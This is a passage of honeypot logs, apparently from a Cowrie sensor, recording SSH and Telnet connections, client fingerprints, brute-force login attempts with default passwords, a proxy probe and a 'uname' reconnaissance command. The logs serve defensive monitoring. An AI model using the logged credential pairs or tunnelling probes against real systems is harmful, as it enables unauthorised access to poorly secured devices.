m","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:34.526299Z","src_ip":"45.148.10.121","session":"7968887a866e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:34.774256Z","src_ip":"45.148.10.121","session":"7968887a866e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:34.855995Z","session":"7968887a866e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:34.937329Z","src_ip":"45.148.10.121","session":"7968887a866e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:34.943297Z","src_ip":"45.148.10.121","session":"7968887a866e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.025684Z","src_ip":"45.148.10.121","session":"7968887a866e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f4f04b75132","protocol":"ssh","message":"New connection: 45.148.10.121:51272 (159.203.135.109:22) [session: 2f4f04b75132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.101770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.106685Z","src_ip":"45.148.10.121","session":"2f4f04b75132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.208721Z","src_ip":"45.148.10.121","session":"2f4f04b75132","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.569762Z","src_ip":"45.148.10.121","session":"2f4f04b75132","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.652307Z","session":"2f4f04b75132","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.733794Z","src_ip":"45.148.10.121","session":"2f4f04b75132","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.737348Z","src_ip":"45.148.10.121","session":"2f4f04b75132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:35.819803Z","src_ip":"45.148.10.121","session":"2f4f04b75132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33754,"dst_ip":"159.203.135.109","dst_port":22,"session":"84074e1f1b06","protocol":"ssh","message":"New connection: 2.57.122.208:33754 (159.203.135.109:22) [session: 84074e1f1b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:33:58.126880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:33:58.274585Z","src_ip":"2.57.122.208","session":"84074e1f1b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:33:58.279025Z","src_ip":"2.57.122.208","session":"84074e1f1b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:33:59.298043Z","src_ip":"2.57.122.208","session":"84074e1f1b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:34:00.450649Z","src_ip":"2.57.122.208","session":"84074e1f1b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60812,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f5664fda22b","protocol":"ssh","message":"New connection: 14.225.2.125:60812 (159.203.135.109:22) [session: 0f5664fda22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:28.515306Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:28.795424Z","src_ip":"14.225.2.125","session":"0f5664fda22b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60824,"dst_ip":"159.203.135.109","dst_port":22,"session":"932e899a1db6","protocol":"ssh","message":"New connection: 14.225.2.125:60824 (159.203.135.109:22) [session: 932e899a1db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:29.066447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:29.073326Z","src_ip":"14.225.2.125","session":"932e899a1db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:29.348290Z","src_ip":"14.225.2.125","session":"932e899a1db6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@$$w0rd!","message":"login attempt [root/P@$$w0rd!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:30.171499Z","src_ip":"14.225.2.125","session":"932e899a1db6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:30.823924Z","src_ip":"14.225.2.125","session":"932e899a1db6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:30.826953Z","src_ip":"14.225.2.125","session":"932e899a1db6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:31.104764Z","src_ip":"14.225.2.125","session":"932e899a1db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:31.109750Z","src_ip":"14.225.2.125","session":"932e899a1db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":29074,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0aebf89b0dc","protocol":"ssh","message":"New connection: 193.46.255.86:29074 (159.203.135.109:22) [session: c0aebf89b0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:34.167178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:34.172369Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:34.305853Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"1234","message":"login attempt [ubnt/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:34.913495Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"abcd1234","message":"login attempt [ubnt/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:36.048684Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"1111","message":"login attempt [ubnt/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:37.188310Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"password","message":"login attempt [ubnt/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:38.324644Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt123","message":"login attempt [ubnt/ubnt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:39.460463Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:35:40.598069Z","src_ip":"193.46.255.86","session":"c0aebf89b0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.109","src_port":53024,"dst_ip":"10.17.0.5","dst_port":23,"session":"f37f6d9b6dd3","protocol":"telnet","message":"New connection: 176.65.148.109:53024 (10.17.0.5:23) [session: f37f6d9b6dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:36:02.778985Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56360,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f79ad9a0b00","protocol":"ssh","message":"New connection: 2.57.122.208:56360 (159.203.135.109:22) [session: 0f79ad9a0b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:36:14.135119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:36:14.211776Z","src_ip":"2.57.122.208","session":"0f79ad9a0b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:36:14.309952Z","src_ip":"2.57.122.208","session":"0f79ad9a0b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:36:15.162304Z","src_ip":"2.57.122.208","session":"0f79ad9a0b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:36:16.409407Z","src_ip":"2.57.122.208","session":"0f79ad9a0b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.29832696914673,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:36:32.077121Z","src_ip":"176.65.148.109","session":"f37f6d9b6dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":54166,"dst_ip":"10.17.0.5","dst_port":22,"session":"602373a7cf10","protocol":"ssh","message":"New connection: 157.245.10.239:54166 (10.17.0.5:22) [session: 602373a7cf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:37:57.205065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:37:57.209192Z","src_ip":"157.245.10.239","session":"602373a7cf10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:37:57.213100Z","src_ip":"157.245.10.239","session":"602373a7cf10","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"monkey","message":"login attempt [root/monkey] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:37:57.221915Z","src_ip":"157.245.10.239","session":"602373a7cf10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:37:57.227174Z","src_ip":"157.245.10.239","session":"602373a7cf10","protocol":"ssh"}
